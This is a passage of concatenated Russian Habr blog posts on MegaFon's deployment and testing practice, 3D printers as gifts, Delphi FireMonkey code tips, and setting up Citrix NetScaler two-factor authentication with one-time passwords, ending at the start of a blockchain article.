должны иметь единой точки сбоя, чтобы обеспечить максимальный аптайм. При этом мы не могли позволить себе вводить какие-то технологические окна на обновления — любые, даже небольшие простои системы в нашем случае крайне нежелательны. Объединив усилия службы эксплуатации и разработчиков, мы получили решение, которое обладает всеми нужными свойствами: Быстрое обновление, которое не требует «ручного» вмешательства разработчиков или администраторов. Мы настроили авто-deploy, который обеспечил выкатывание «одной кнопкой» с учетом всей нашей специфики. Подготовка сборки происходит на ресурсах поставщика, а фактическое развертывание – в защищенном контуре заказчика. Во время обновления сервис не останавливается. Так как каждый сервис развернут и работает минимум на двух параллельных серверах, во время обновления мы отключаем от траффика группу обновляемых в текущий момент серверов и распределяем нагрузку по другим экземплярам микросервисов. После обновления — проверяем smoke-тестом работу новой версии сервиса и, если все прошло успешно, обновляем следующую группу сервисов, переводя трафик на уже обновленные сервисы. Так, постепенно поднимая версии, мы получаем работающую систему, без полной остановки платформы. Непрерывный контроль деградации функционала. Благодаря покрытию автотестами всех процедур, нам удалось обеспечить возможность очень быстро диагностировать отклонения перед деплоем на бой и осознанно принять решение о проведении обновления. Быстрая доставка функционала на бой. Благодаря всем ранее изложенным моментам, мы можем очень быстро выкатывать в промышленную эксплуатацию исправления и новый функционал без ущерба для непрерывности работы. Есть ряд моментов, которые можно улучшить в процедуре обновления — например, обновление БД каждого из сервисов и обеспечение обратной совместимости для работы старой и новой версий сервиса одновременно. Если это будет интересно, мы с удовольствием выпустим отдельную статью о тех подходах, которые мы применяем у себя. Философия качества Сервис, который не должен останавливаться, и при этом динамично развивается, всегда находится между двух огней. В случае простоя финансовые и репутационные потери будут колоссальными. А если вспомнить про чрезвычайно сжатые сроки и меняющиеся требования в процессе разработки, то степень сложности продолжала повышаться. Поэтому перед отделом качества встала амбициозная задача выстроить тестирование продукта таким образом, чтобы оно было: Быстрым . У нас сжатые сроки, короткие спринты и мы не хотим ждать по нескольку дней, пока тестеры проведут регрессионное тестирование по чек-листам. В идеале – нужно получать ответ, какой регресс понесла система после каждого изменения кода. Полным . Быстрое осуществление тестов – не самоцель. Настоящая цель – быть уверенными, что если тесты прошли успешно, то наша система готова к обновлению. А значит тесты должны быть не только быстрыми, но и полностью охватывать функционал продукта. Гибким . Быстрые и полные тесты это прекрасно. Но если у заказчика есть новые требования, и изменения требуют полного переписывания тестов – это никуда не годится, потому что мы опять теряем скорость. Соответственно, тесты должны быть гибкими к изменениям. Дешевым . Ресурс тестировщика при большой скорости разработки всегда будет выходить на первый план, если нам нужно получить высокое качество. Поэтому всё, что описано выше, должно выполняться существующим количеством специалистов по тестированию. Мы здесь лишь подтвердили общее соотношение, когда на 3 разработчиков приходится 1 тестировщик. В качестве основы автотестов был выбран Python вкупе с фреймворком py.test. Python — это быстрый (в плане разработки) и мощный язык, а py.test с его замечательной подсистемой фикстур и параметризации – гибкий инструмент, позволяющий широко переиспользовать код тестов. В качестве агрегатора результатов: билд-сервер TeamCity с установленными плагинами для интерпретации итогов проверки от py.test. Сами тесты пишутся максимально изолированно, выполнение каждого теста никак не зависит от результата выполнения остальных тестов. Если тесту нужно подключаться к БД системы и получать данные, значит, фикстура теста должна эти данные там обеспечить до выполнения теста. Если на тест может повлиять значение, лежащее в кэше, значит другая фикстура должна обнулить кэш до выполнения этого теста. Да, это привело к тому, что много времени потребовалось для разработки систематизированной сетки фикстур, но очень быстро эти инвестиции стали окупаться скоростью добавления новых тестов и, самое главное, стабильностью их результатов. Полный контроль над тестируемой системой означает минимум ложных срабатываний тестов. Интеграция с  сервером сборки TeamCity дала возможность просто нажать одну кнопку, чтобы тесты проверили все процессы платформы. При этом никаких приготовлений делать не нужно, а значит, это может сделать любой член команды. Отчет о тестировании в подробном и наглядном виде отображается на веб-интерфейсе build-сервера. Не пожалели мы и о полном отказе от автоматизации тестов API через специализированные решения. Да, такие инструменты дают набор функциональности прямо из коробки. Но, во-первых, это недешево, во-вторых, нам всё равно нужно больше возможностей. К примеру, в определенных тест-кейсах нашего API было нужно получать СМС-код подтверждения на операцию, пробрасывать его в тесты и наблюдать за поведением системы. Вот здесь и выходит на первый план мощь coded тестов, пусть их разрабатывать и дороже, чем, к примеру, собрать  test-step’ы в SoapUI. В итоге, сейчас процесс построен таким образом, что Postman или тот же SoapUI используется тестировщиками только на этапе первичной проверки. В конечном итоге процесс всё равно должен быть покрыт автотестами на Python и внедрен в общий репозиторий. Это закон. Ни одно изменение функционала системы не обходится у нас без тестирования вообще и без автотестов в частности. Story просто не считается выполненной, пока она не покрыта автотестами. Такой подход требует высокой самодисциплины от команды и производительности от тестировщиков, но результат того стоит: если на билд-машине тесты зеленые, мы уверены в качестве своей системы. Сейчас количество функциональных тестов перевалило за 2500 и продолжает расти. Выполнение занимает 25 минут. Правильный выбор инструментов и полное покрытие автотестами с ранних этапов разработки позволило нам поддерживать высокую скорость внедрения новых функций на всем протяжении проекта, оставаться гибкими к изменениям требований, и при этом не жертвовать качеством продукта. One more thing Документация — это аспект ИТ-проектов, который часто остается в тени историй про архитектуру, проектирование и общение с заказчиком. Но это очень важная деталь, невнимание к которой может усложнить эксплуатацию и развитие даже самой замечательной, с точки зрения внутренней организации, системы. Нами был выбран подход, при котором документация эволюционирует по ходу прохождения цикла разработки: Начальные требования от заказчика сразу же образуют первые страницы будущей документации На этапе проектирования она дополняется техническим описанием планируемого варианта реализации Во время оценки и планирования она дополняется ответами на вопрос разработчиков, если они не были учтены во время проектирования После того как требования попадают в разработку, они декомпозируются по задачам, каждая задача получает ссылку на раздел документации, в соответствии с которой она должна делаться При приемочном тестировании реализованной функции проверяется не только её правильная работа, но и актуальность документации — часто при реализации делаются уточнения и «всплывают» моменты, которые не были очевидны при проектировании, все несоответствия возвращаются аналитику в работу По завершении приемки и тестирования разработанная функция имеет набор тестов и итоговую проверенную документацию. Подобный подход дал сразу несколько преимуществ: Работа над документацией оказалась распределена по процессу разработки, мы избежали ситуации, когда по завершении нужно выделить большой ресурс на документирование Документация по каждому модулю правилась в тот момент, когда все участники максимально погружены в тему, и это позволило сделать ее максимально точной и не тратить время на попытки вспомнить «а как же оно сделано», которые неизбежны, если бы мы вынесли этот этап за рамки разработки В случае каких-то споров и сомнений у нас всегда есть возможность провести трассировку, включающую исходные требования, задачи на разработку и документацию Самое главное — мы в любое время можем предоставить заказчику документацию как по текущей версии платформы, так и по планируемым изменениям, чтобы обеспечить готовность с их стороны к обновлениям. Благодаря паре дней, которые ушли на общую редактуру и настройку выгрузки из Confluence, выгрузка итогового документа сейчас может быть выполнена в течение часа по всем компонентам системы. Вместо заключения Мы постарались описать общий принцип работы двух компаний и раскрыть внутреннюю кухню разработки. Было бы здорово услышать от вас сложные вопросы, которые бы мы могли использовать как основу для новых статей! Спасибо ребятам за такой подробный рассказ! Это только первая часть технической составляющей карты Мегафона, будут ещё истории. Оставайтесь на связи. Смежные темы Микросервисы, хорошие, плохие, злые Микросервисы: пожалуйста, не нужно Микросервисы (Microservices) Переход от монолита к микросервисам Ссылки Банковская карта от «МегаФона» Как это работает: карта МегаФона Сайт карты МегаФон Сайт компании Tyme.ru
https://habrahabr.ru/company/megafon/blog/317740/
habrahabr
Персональный 3D-принтер как подарок
['3d-принтеры', '3d принтеры', '3d-принтер', '3d принтер', '3d-печать', '3d печать']
В преддверии зимних праздников хочется напомнить о том, что персональный компактный 3D-принтер — прекрасный подарок каждому мужчине, будь то заядлый самодельщик, изобретатель или человек...
В преддверии зимних праздников хочется напомнить о том, что персональный компактный 3D-принтер — прекрасный подарок каждому мужчине, будь то заядлый самодельщик, изобретатель или человек увлекающийся моделизмом или миниатюрами — в сфере различных хобби такой подарок вне конкуренции. Даже для рыбака или фаната World of Tanks он будет незаменим. Самые удобные для частного использования, они же — самые недорогие, — 3D-принтеры экструзионного действия станут отличным сюрпризом для близкого человека. А некоторые из них, особо стильные экземпляры в красивом корпусе, как нельзя лучше подойдут и для представительского подарка главе партнерской организации. Мы подобрали несколько доступных 3D-принтеров, которые можно купить и подарить уже сейчас. Цены в обзоре указаны ориентировочные, по разным причинам они могут как повышаться, так и понижаться (да, и такое бывает!). Более точные цены можно узнать на сайте. Mostfun Sail Технология: FDM Рабочая камера: 120 x 120 x 120 мм Толщина слоя от: 100 мкм Цена: 25 900 руб. Кому дарить: любому человеку интересующемуся 3D. За свою скромную стоимость, это весьма достойный и интересный подарок. Несмотря на низкую цену и небольшой объем рабочей области, этот принтер способен стать замечательным подарком, толщина слоя в 0,1мм — весьма достойное для такой цены разрешение печати, также обратите внимание на его лаконичный современный дизайн. Слот для SD-карт позволяет печатать даже без подключения к компьютеру. Wanhao Duplicator i3 v2.1 Технология: FDM Рабочая камера: 200 x 200 x 180 мм Толщина слоя от: 100 мкм Цена: 29 300 руб. Кому дарить: прекрасный подарок для любителя моделирования миниатюр — достаточное разрешение, хорошая скорость печати и общая надежность работы. Очередное детище известной уже торговой марки Wanhao обладает заведомо стабильным качеством при невысокой цене. Надежная и массивная металлическая конструкция не только выглядит внушительно и строго (ничего лишнего, никакие провода не торчат и не свисают), но и обеспечивает точность работы и защиту от вибрации. Wanhao Duplicator i3 Plus Технология: FDM Рабочая камера: 200 X 200 X 180 мм Толщина слоя от: 100 мкм Цена: 34 900 руб. Кому дарить: как и его “брат”, предыдущая модель Wanhao, этот принтер станет хорошим подарком человеку, чье хобби или профессия — изготовление уникальных миниатюрных фигурок и композиций из них. От предыдущей модели отличается более компактной и технически оптимизированной конструкцией и методом управления (встроенный управляющий блок с многофункциональным сенсорным экраном). XYZprinting da Vinci Mini Технология печати: FDM Поддерживаемые материалы: PLA Разрешение печати: до 0,1 мм (100 microns) Размеры рабочей камеры: 15 x 15 x 15 см Цена: 29 990 руб. Кому дарить: любителю НФ, поклоннику ретро-стиля, изготовителю настольных игр на заказ (прекрасно подойдет для печати оригинальных игровых фишек, например). Компактный и аккуратный Da Vinci Mini похож на репликатор с борта звездолета из фантастических фильмов 50-х годов. Он легко украсит собой рабочее место инженера или руководителя, а при необходимости распечатает любой предмет размерами до 15 сантиметров по любой стороне, с разрешением до 10 слоев на миллиметр. Ещё одна отличительная особенность этого принтера — WiFi-соединение с компьютером. Лишние провода не нужны. BQ Prusa i3 Hephestos Технология: FDM Рабочая камера: 215 x 210 x 180 мм Толщина слоя от: 60 мкм Цена: 39 950 руб. Кому дарить: начинающему любителю 3D или подростку. Один из самых качественных на рынке DIY-принтеров (Do-It-Yourself — “сделай сам”), поставляется в разобранном виде, все детали тщательно проверены на работоспособность, а сборка проста и увлекательна. Сама возможность собрать такой агрегат своими руками — уже весьма интересный подарок, не говоря уж о его дальнейшей эксплуатации. BQ Prusa i3 Hephestos 2 Технология: FDM Рабочая камера: 210 x 297 x 220 мм Толщина слоя от: 50 мкм Цена: 74 490 руб. Кому дарить: большому энтузиасту 3D-печати. Это следующий логичный шаг после Дупликатора от Wanhao или первого Hephestos. Впрочем, и этот принтер может быть первым. А может стать и источником дохода, учитывая качество печати. Еще один интереснейший “сделай сам”-принтер от Prusa. Основные отличия второй модели Hephestos от первой — значительно увеличенная область печати, повышенная надежность (все ответственные детали теперь выполнены из металла), улучшенное разрешение, а новый индуктивный датчик, в числе прочего, позволяет проводить точную автокалибровку. При сохранении “самодельной” сущности и идеи конструкции, этот принтер обеспечивает профессиональное качество 3D-печати. 3D принтер Prism Mini с LCD экраном Технология: FDM Толщина слоя от: 50 мкм Цена: 52 000 руб. Кому дарить: Принесет радость и знания учащемуся и студенту. Поможет моделисту. Станет оригинальным украшением любого офиса, или квартиры оформленной в стиле hi-tech. Аппарат отличают: стильный лаконичный дизайн, очень невысокая цена, подогреваемая платформа. Может печатать такими материалами, как ABS,PLA,Nylon,Hips, со скоростью до 200 мм/с, в объёме до 150 x 150 x 240 мм. Максимально открытая конструкция этого принтера идеальна для использования его в образовательных целях. Он поможет основам аддитивных технологий — 3D-моделированию и печати, да и о самом устройстве и принципе работы 3D-принтера сразу даст полное представление. А его оригинальный способ позиционирования экструдера послужит примером нестандартного и творческого мышления. Конечно, этот принтер — не просто учебное пособие и, хоть он и не отличается внушительной рабочей областью или серьезным разрешением, все же способен решать и многие утилитарные задачи. Особая изюминка Prism Mini — хорошо продуманная разборная конструкция, достаточно надежная и простая в замене комплектующих. Отличие от других модификаций этого же производителя — более удобное и наглядное управление. IMPRINTA Hercules Технология: FDM Рабочая камера: 180 х 180 х 180 мм Толщина слоя от: 50 мкм Цена: 64 900 руб. Кому дарить: ценителю надежных вещей отечественного производства. Мастеру — данный 3D-принтер станет хорошим помощником декоратору в любой сфере, художнику-оформителю театра, или человеку занимающемуся 3D-печатью на заказ. Принтер создан красноярской фирмой Импринта. Главными преимуществами аппарата считаются: надежная металлическая конструкция и печатная головка Uni Hot собственной разработки компании, позволяющая печатать разными материалами без дополнительных приспособлений: ABS, PLA, Nylon, Flex, Rubber. Печать Rubber-пластиком осуществляется со скоростью 70 мм/с. Принтеры собираются вручную и проходят 24-часовое рабочее испытание до отправки покупателю. Конструкция предусматривает сменные сопла от 0.3 до 1 мм. Подсветка диодной лентой внутри корпуса позволяет визуально наблюдать за процессом печати. Picaso 3D Designer Pro 250 Технология: FDM Рабочая камера: 200 x 200 x 210 мм Толщина слоя от: 50 мкм Цена: 197 500 руб. Кому дарить: художнику, профессиональному или сильно увлекающемуся дизайнеру, любому ценителю прекрасного. Особенность этого принтера — инжектор с двумя соплами, способный печатать двумя разными материалами одновременно. Это очень удобно — печатать поддержки и основную модель материалами, которые взаимодействуют с разными растворителями — сильно увеличивается аккуратность и завершенность модели при растворении поддержек, а количество дополнительной ручной работы, напротив, уменьшается. Что уж говорить о точности принтера, составляющей 50 микрон (т.е., минимальная толщина слоя — всего 0,05 мм), а также о его внешнем виде. Formlabs Form 2 Технология: SLA Рабочая камера: 145 x 145 x 175 мм Толщина слоя от: 25 мкм Цена: 419 900 руб. Кому дарить: дантисту, ювелиру, дружественной организации или достаточно обеспеченному энтузиасту. Этот серьёзный, недешевый и очень навороченный по своим характеристикам аппарат, предназначенный в первую очередь для профессиональных стоматологов и ювелиров, тоже может стать подарком. Стоит понимать, что цена самого Form 2 и его расходников сравнима с аналогичными цифрами для среднего легкового автомобиля, но — он того, безусловно, стоит. Фотополимерная лазерная технология, стереолитография, обеспечивает такое качество печати, которое экструзионным принтерам даже не снится. Ну и дизайн самого аппарата, что для подарка немаловажно, тоже на высоте. PancakeBot Материал печати: тесто. Цена: 49 900 руб. Кому дарить: любому любителю блинчиков в частности и кулинарии вообще, семье, небольшому кафе. Ставшая уже легендарной, машина для изготовления блинов любой формы — лучший подарок любителю оригинальной кулинарии и современных технологий. Тысячи готовых интересных проектов фигурных блинов, уже нарисованных и запрограммированных, будут соперничать с желанием создать что-то своё. Выбор 3D-принтеров широк и разнообразен — и подобрать 3D-принтер в подарок можно не только по функционалу и цене, но и по внешнему виду. Что же делать, если у одаряемого уже сеть 3D-принтер? Об этом мы поговорим в одном из следующих обзоров, его темой будет: “Что подарить 3D-печатнику на Новый Год?” Хотите больше интересных новостей из мира 3D-технологий? Подписывайтесь на нас в соц. сетях:
https://geektimes.ru/company/top3dshop/blog/283830/
habrahabr
Fire-Monkey help and tips
['Delphi', 'FMX', 'Fire-Monkey', 'Make Delphi great again', 'TRUMP']
За годы существования фреймворк Fire-Monkey(FMX) претерпел множество изменений, и если с самого начала он был очень сырым и ненадежным, то сейчас это намного более стабильная и надежная...
За годы существования фреймворк Fire-Monkey(FMX) претерпел множество изменений, и если с самого начала он был очень сырым и ненадежным, то сейчас это намного более стабильная и надежная платформа. Данная заметка представляет из себя сборник из нескольких полезных советов для разработчиков использующих данный фреймворк. Если заметка будет положительно воспринята сообществом, то я буду периодически публиковать заметки о FMX в таком формате. Расчет размера текста Вопросы о размере текста довольно частые, для расчета размера текста можно воспользоваться следующей функцией: function CalcTextSize(Text: string; Font: TFont; Size: Single = 0): TSizeF; Это функция для расчета размера прямоугольника, занимаемого однострочным текстом. Параметры: Text — Текст Font — Шрифт с которым будет выводиться текст Size — если 0, то Font.Size будет использоваться из Font, иначе из данного параметра Исходный код: uses System.Types, FMX.Types, FMX.Graphics, FMX.TextLayout, System.Math, System.SysUtils; function CalcTextSize(Text: string; Font: TFont; Size: Single = 0): TSizeF; var TextLayout: TTextLayout; begin TextLayout := TTextLayoutManager.DefaultTextLayout.Create; try TextLayout.BeginUpdate; try TextLayout.Text := Text; TextLayout.MaxSize := TPointF.Create(9999, 9999); TextLayout.Font.Assign(Font); if not SameValue(0, Size) then begin TextLayout.Font.Size := Size; end; TextLayout.WordWrap := False; TextLayout.Trimming := TTextTrimming.None; TextLayout.HorizontalAlign := TTextAlign.Leading; TextLayout.VerticalAlign := TTextAlign.Leading; finally TextLayout.EndUpdate; end; Result.Width := TextLayout.Width; Result.Height := TextLayout.Height; finally TextLayout.Free; end; end; Максимально возможный размер шрифта, для текста, вписанного в заданный прямоугольник function FontSizeForBox(Text: string; Font: TFont; Width, Height: Single; MaxFontSize: Single = cMaxFontSize): Integer; Функция возвращает максимально возможный размер шрифта, для текста, вписанного в заданный прямоугольник. Параметры: Text — Текст Font — Шрифт с которым будет выводиться текст Width, Height — Ширина и высота прямоугольника MaxFontSize — Максимально возможный размер шрифта Исходный код: uses System.Types, FMX.Types, FMX.Graphics, FMX.TextLayout, System.Math, System.SysUtils; const cMaxFontSize = 512; function FontSizeForBox(Text: string; Font: TFont; Width, Height: Single; MaxFontSize: Single = cMaxFontSize): Integer; var Size, Max, Min, MaxIterations: Integer; Current: TSizeF; begin Max := Trunc(MaxFontSize); Min := 0; MaxIterations := 20; repeat Size := (Max + Min) div 2; Current := CalcTextSize(Text, Font, Size); if ((Abs(Width - Current.Width) < 1) and (Width >= Current.Width)) and ((Abs(Height - Current.Height) < 1) and (Height >= Current.Height)) then break else if (Width < Current.Width) or (Height < Current.Height) then Max := Size else Min := Size; Dec(MaxIterations); until MaxIterations = 0; Result := Size; end; Что не так с FindStyleResource и что делать ЧАВО: Опишу «багофичу» на которую я наткнулся. Предположим, что вы пишете свой компонент, наследуемый от TStyledControl (или любого другого компонента, который наследуется от TStyledControl ), для доступа к элементам стиля обычно используют FindStyleResource('ИмяРесурса') (есть вариант в виде FindStyleResource<Класс>('ИмяРесурса', Переменная) ), например компонент TImageControl получает объект Image так: procedure TImageControl.ApplyStyle; begin inherited; if FindStyleResource<TImage>('image', FImage) then UpdateImage; end; FindStyleResource работает отлично, пока в дереве стиля искомый объект лежит на НЕ TStyledControl-ах (и их наследниках), то есть FindStyleResource будет успешно находить объект, который расположен на TRectangle , но не найдет его же, но на TPanel ! Пример: Код, в процедуре ApplyStyle : procedure TEsImageSelection.ApplyStyle; var T: TControl; begin inherited ApplyStyle; if FindStyleResource<TControl>('selection', T) then ShowMessage('"selection" founded!'); end; Что делает данный код? — При нахождении стилевого объекта выдает соответствующее сообщение. Рассмотрим стиль: Как видите в варианте A , «Selection» лежит на НЕ наследнике от TStyledControl . Запустив программу можно убедиться что FindStyleResource<TControl>('selection', T) найдет объект Selection . В варианте B , при запуске можно с удивлением обнаружить что FindStyleResource<TControl>('selection', T) не находит объект Selection ! Почему так? Судя по исходникам поиск во вложенных TStyledControl -ах сломан специально, дабы не всплывали еще большие глюки\проблемы.(но я не изучал вопрос очень подробно, внутренний код работы с загрузкой и поиском стилей — кромешный ад, с наслаиванием истории Fire-Monkey разных лет). Как можно обойти проблему? Путем нескольких итераций была написана функция EsFindStyleResource , которая находит искомый стилевой объект, в отличии от FindStyleResource . function EsFindStyleResource(Self: TStyledControl; StyleName: string): TFmxObject; Параметры: Self — TStyledControl StyleName — Имя искомого объекта Исходный код: type TOpenStyledControl = class(TStyledControl); function EsFindStyleResource(Self: TStyledControl; StyleName: string): TFmxObject; var StyleObject: TFmxObject; begin // если Self.ChildrenCount < 1 то в компоненте не загружен стиль, // т.к. известно что главный эллемент стиля ВСЕГДА находиться по нулевому индексу. if (TOpenStyledControl(Self).ResourceLink = nil) or (Self.ChildrenCount < 1) then Exit(nil); StyleObject := nil; Self.Children[0].EnumObjects( function (Obj: TFmxObject): TEnumProcResult begin if Obj.StyleName.ToLower = StyleName.ToLower then begin Result := TEnumProcResult.Stop; StyleObject := Obj; end else Result := TEnumProcResult.Continue; end); Result := StyleObject; end; Риски(Ticks) у TTrackBar В Fire-Monkey компонент TTrackBar не имеет встроенной возможности отрисовывать «риски», но такая возможность иногда необходима, функция DrawTicks позволяет «вернуть» в FMX эту возможность. Функцию необходимо вызывать в обработчике OnPainting компонента TTrackBar . Результат работы функции: procedure DrawTicks(Control: TTrackBar; Offset: Single; PageSize: Single; DrawBounds: Boolean; LineKind: TLineKind; LineWidth, LineSpace: Single; Color: TAlphaColor); Параметры: Control — TTrackBar на котором надо нарисовать риски Offset — Сдвиг от начала PageSize — Расстояние между рисками DrawBounds — Рисовать или нет граничные риски LineKind — Тип линий (TLineKind = (Up, Down, Left, Right, Both)) LineWidth — Длина линии LineSpace — Расстояние от центра компонента, до начала линии Color — Цвет линий Исходный код: type TLineKind = (Up, Down, Left, Right, Both); procedure DrawTicks(Control: TTrackBar; Offset: Single; PageSize: Single; DrawBounds: Boolean; LineKind: TLineKind; LineWidth, LineSpace: Single; Color: TAlphaColor); var Obj: TFmxObject; Cnt: TControl; L: TPointF; Coord, RealCoord: Single; function GetCoord(Value: Single): Single; begin if Control.Orientation = TOrientation.Horizontal then Result := Ceil(THTrackBar(Control).GetThumbRect(Value).CenterPoint.X)// + Crutch else Result := Ceil(THTrackBar(Control).GetThumbRect(Value).CenterPoint.Y);// + Crutch; end; procedure DrawLine(Coord: Single); begin if Control.Orientation = TOrientation.Horizontal then begin if (SameValue(LineSpace, 0)) and (LineKind = TLineKind.Both) then begin Control.Canvas.DrawLine( PointF(Coord + 0.5, L.Y + Trunc(Cnt.Height / 2) - LineWidth + 0.5), PointF(Coord + 0.5, L.Y + Trunc(Cnt.Height / 2) + LineWidth - 0.5), 1) end else begin if (LineKind = TLineKind.Down) or (LineKind = TLineKind.Both) then Control.Canvas.DrawLine( PointF(Coord + 0.5, L.Y + Trunc(Cnt.Height / 2) + LineSpace + 0.5), PointF(Coord + 0.5, L.Y + Trunc(Cnt.Height / 2) + LineSpace + LineWidth - 0.5), 1); if (LineKind = TLineKind.Up) or (LineKind = TLineKind.Both) then Control.Canvas.DrawLine( PointF(Coord + 0.5, L.Y + Trunc(Cnt.Height / 2) - LineSpace - 0.5), PointF(Coord + 0.5, L.Y + Trunc(Cnt.Height / 2) - LineSpace - LineWidth + 0.5), 1); end; end else begin if (SameValue(LineSpace, 0)) and (LineKind = TLineKind.Both) then begin Control.Canvas.DrawLine( PointF(L.X + Trunc(Cnt.Width / 2) - LineWidth + 0.5, Coord + 0.5), PointF(L.X + Trunc(Cnt.Width / 2) + LineWidth - 0.5, Coord + 0.5), 1) end else begin if (LineKind = TLineKind.Right) or (LineKind = TLineKind.Both) then Control.Canvas.DrawLine( PointF(L.X + Trunc(Cnt.Width / 2) + LineWidth + 0.5, Coord + 0.5), PointF(L.X + Trunc(Cnt.Width / 2) + LineWidth + LineWidth - 0.5, Coord + 0.5), 1); if (LineKind = TLineKind.Left) or (LineKind = TLineKind.Both) then Control.Canvas.DrawLine( PointF(L.X + Trunc(Cnt.Width / 2) - LineWidth - 0.5, Coord + 0.5), PointF(L.X + Trunc(Cnt.Width / 2) - LineWidth - LineWidth + 0.5, Coord + 0.5), 1); end; end; end; begin if Control.Orientation = TOrientation.Horizontal then Obj := Control.FindStyleResource('htrack') else Obj := Control.FindStyleResource('vtrack'); if Obj = nil then Exit; Cnt := Obj.FindStyleResource('background') as TControl; if Cnt = nil then Exit; Control.Canvas.Stroke.Thickness := 1; Control.Canvas.Stroke.Kind := TBrushKind.Solid; Control.Canvas.Stroke.Color := Color; L := Cnt.LocalToAbsolute(PointF(0, 0)) - Control.LocalToAbsolute(PointF(0, 0)); if DrawBounds and not SameValue(Offset, 0.0) then DrawLine(GetCoord(Control.Min)); Coord := Offset + Control.Min; while Coord <= Control.Max - Control.Min do begin if (Coord >= Control.Min) and (Coord <= Control.Max) then begin RealCoord := GetCoord(Coord); DrawLine(RealCoord); end; Coord := Coord + PageSize; end; if DrawBounds and not SameValue(GetCoord(Control.Max), GetCoord(Coord - PageSize)) then DrawLine(GetCoord(Control.Max)); end; Надеюсь, данная заметка оказалась вам полезной. Не забываем голосовать :)
https://habrahabr.ru/post/317814/
habrahabr
Citrix NetScaler и одноразовые пароли
['Citrix', 'netscaler', 'одноразовые пароли']
Друзья, добрый день! Я долго думал над темой очередной статьи, хотел охватить необъятное и не показаться заангажированным. Думал и на тему аналитики, администрирования и просто на тему “how to”. В...
Друзья, добрый день! Я долго думал над темой очередной статьи, хотел охватить необъятное и не показаться заангажированным. Думал и на тему аналитики, администрирования и просто на тему “how to”. В итоге решающим стал фактор очередного обращения знакомого “по цеху” с вопросом об организации 2х факторной аутентификации для решений Citrix. В свое время я писал о решении на базе x509 сертификатов, и предложил их коллеге. Но большая часть его удаленных клиентов была базирована на яблочных решениях, а в этом случае устройство доступа и сертификат были как в старой рекламе Head & Shoulders 2 в 1, или как связка ключей от всех замков на одной связке. В итоге я хочу данной статьей охватить немного администрирования, анализа и аналитики. Архитектурное решение было основано OTP, или по-простому – второй “фактор” – одноразовый пароль. Полагаю, не стоит останавливаться на преимуществах использования OTP, понимания их эффективности, аналогично, как и на необходимости использования 2х факторной авторизации ресурсов и сервисов, доступ к которым открыт в интернете (или в сети интернет). Тут я забегу немного вперед: в моей работе после внедрения 2х факторной авторизации для доступа к корпоративным информационным системам с использованием одноразовых паролей пользователи, имеющие удаленный доступ (а в основном это менеджеры среднего звена) стали задавать вопросы на предмет “а что так сложно стало и неудобно???”, мол никто и нигде это не использует, так зачем бежать впереди планеты всей? Я спрашиваю, а банк-клиент каждый раз присылает новый пароль — это нормально. Обычно после этого вопрос безопасности и удобства снимается. Так, вот лирику и аналитику прошли, продолжим далее. Краем остановлюсь на компонентах решения, используемых при реализации данного решения, а при описании остановлюсь только на краеугольных камнях настройки, а именно – профили NetScaler, настройках StoreFront и клиентских устройств iPad. Итак, в наличии: Развернутая инфраструктура XenDesktop/App, StoreFront, Citrix NetScalaler, RADIUS server, OTP сервер. В качестве клиентов я предлагаю использование Google Authenticator (хотя выбор бесплатных OTP клиентов достаточно большой). Касаемо реализации OTP решений также полагаю, что это остается на “совести” конкретного проекта. Это может быть одноразовый пароль на мобильном телефоне или через SMS или еще другие варианты. Настройка самого RADIUS сервера с функционалом одноразовых паролей – это тема отдельного разговора, её контуры очертим вскользь. Определившись с потребностью в использовании 2х факторной авторизации, давайте посмотрим на настройки NetScaler, обеспечивающие использование выбранного метода и корректную работу со всех типов устройств: Первым делом создадим правила для RADIUS подключения и RADIUS сервер: add authentication radiusPolicy RSA-SelfService "REQ.HTTP.HEADER User-Agent CONTAINS CitrixReceiver" RSA add authentication radiusPolicy RSA-ReceiverForWeb "REQ.HTTP.HEADER User-Agent NOTCONTAINS CitrixReceiver" RSA add authentication radiusAction RSA -serverIP 192.168.60.43 -serverPort 1812 -radKey …… add authentication ldapPolicy LDAP-Corp-SelfService "REQ.HTTP.HEADER User-Agent CONTAINS CitrixReceiver" AD add authentication ldapPolicy LDAP-Corp-Web "REQ.HTTP.HEADER User-Agent NOTCONTAINS CitrixReceiver" AD Финальным аккордом будет подключение созданных политик к подготовленному SSL VPNc серверу: bind vpn vserver ssl_ag_xd_wa2.*******.ru -policy LDAP-Corp-Web -priority 100 bind vpn vserver ssl_ag_xd_wa2.*******.ru -policy RSA-SelfService -priority 110 bind vpn vserver ssl_ag_xd_wa2.*******.ru -policy RSA-ReceiverForWeb -priority 100 -secondary bind vpn vserver ssl_ag_xd_wa2.*******.ru -policy LDAP-Corp-SelfService -priority 110 -secondary Осталось прописать точку подключения на StoreFront (в видео ниже будет понятно): В поле Logon type необходимо выбрать “Domain and security token” С администрированием просто, поедем дальше. Осталось посмотреть данное решение в “живую”: 1. Доступ через WEB браузер 2. Доступ с iOS (iPad) Добавляем новую учетную запись: Вводим логин, пароль, домен, одноразовый код: В свойствах подключения видим тип выбранной локации (Это на StoreFront)): Видим список опубликованных приложений: При запуске приложения происходит запрос пароля и PIN кода: 3. Классический Citrix Receiver Итак, 2х факторная авторизация — это не только эффективный и надежный метод публикации корпоративных информационных систем на просторах интернета, но и удобный, а самое главное – это современное решение, так сказать “в ногу со временем”. Оставаться на x509 или OTP – решать Вам, но то, что данный механизм должен быть реализован – однозначно. P.S. В своей повседневной работе я в «обязательном порядке» использую 2х факторную авторизацию, исходя из всего вышеперечисленного возник вопрос к читателям, сформулированный в опросе. Пожалуйста, проголосуйте:
https://habrahabr.ru/post/317914/
habrahabr
Погружение в технологию блокчейн: Борьба с контрафактными товарами
['криптовалюта', 'блокчейн', 'bitcoin', 'биткойн', 'хакатон']
Продолжаем серию статей о первых в России проектах, разработанных на основе технологии блокчейн. Напоминаем, что мы спросили у команд-участниц хакатона InspiRussia о технологической составляющей их...
